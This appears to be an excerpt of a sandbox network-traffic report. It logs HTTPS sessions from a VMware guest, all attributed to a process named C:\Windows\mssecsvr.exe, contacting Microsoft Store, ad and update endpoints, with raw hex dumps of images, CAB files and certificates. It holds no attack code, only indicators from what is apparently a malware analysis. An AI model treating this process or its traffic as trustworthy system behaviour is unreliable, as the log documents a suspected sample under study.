2022-07-20 11:23:41 UTC	83	OUT	GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	83	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 11182 Content-Type: image/png Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM" MS-CV: Yyzz1YfTlk6thXph.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	84	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>DIH$fEJ?Q;3qX\|,-*I1fdlns

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	51036	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:52 UTC	7643	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202413Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:52 UTC	7643	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0c05b21a-3b40-4551-9aa0-81de51e84daa Date: Wed, 20 Jul 2022 11:24:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	51060	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:53 UTC	7679	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202414Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:53 UTC	7680	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8da95edd-56a5-490c-9d87-5b726477127c Date: Wed, 20 Jul 2022 11:24:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	51067	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:53 UTC	7680	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202414Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:53 UTC	7680	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4a8fb80a-6e43-4313-bd2d-1fda20a4c142 Date: Wed, 20 Jul 2022 11:24:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	51071	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:53 UTC	7681	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202415Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:53 UTC	7682	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 89d40983-817b-44e6-b3df-a7baf4f01097 Date: Wed, 20 Jul 2022 11:24:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.7	51074	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:53 UTC	7681	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:53 UTC	7682	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 76b44bfe-dc27-4da7-a050-4102b55f945e MS-RequestId: 83c8aa59-3af1-4320-9cea-f51651ff6d4f MS-CV: vYM24Wu6+0ikWB80.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:52 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:53 UTC	7682	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:53 UTC	7698	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:53 UTC	7714	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.7	51088	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:54 UTC	7717	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202416Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:54 UTC	7718	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e5edd441-6bbb-4a14-8057-0af94329a4a5 Date: Wed, 20 Jul 2022 11:24:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.7	51101	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:54 UTC	7718	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202417Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:54 UTC	7719	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 266dae10-ce0e-46e0-9a84-7041e45dae4a Date: Wed, 20 Jul 2022 11:24:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.7	51107	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:54 UTC	7719	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202418Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:54 UTC	7720	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 28707022-4d44-4e03-b0be-08478122181b Date: Wed, 20 Jul 2022 11:24:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.7	51099	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:54 UTC	7719	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:54 UTC	7721	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 71b927b1-6913-4f06-bc81-11dec4ed0fe3 MS-RequestId: 47d3e161-575a-4b77-ac5f-3c190172a7e4 MS-CV: RkfnFmWa5E6aogsi.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:53 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:54 UTC	7721	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:54 UTC	7737	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:54 UTC	7753	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.7	51110	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:54 UTC	7720	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T202419Z&asid=d4d83f7d0cba40d2856d864ae1ad5979&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:54 UTC	7720	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6c73b033-28fe-4623-aacc-78d8854abbb3 Date: Wed, 20 Jul 2022 11:24:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49734	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	95	OUT	GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	95	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2626 Content-Type: image/png Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU" MS-CV: 43KkWTor8EuznZWC.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.7	51116	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:54 UTC	7756	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202423Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:55 UTC	7757	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 15c22d04-d78c-498c-83b4-72a14c9f3e18 Date: Wed, 20 Jul 2022 11:24:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.7	51139	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:55 UTC	7757	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202424Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:55 UTC	7757	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 484ac0c6-78a7-4605-b218-88c4ec8dd54d Date: Wed, 20 Jul 2022 11:24:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.7	51142	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:55 UTC	7758	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 66 31 62 37 32 38 65 66 37 36 36 64 35 62 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 9f1b728ef766d5bf
2022-07-20 11:24:55 UTC	7758	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: 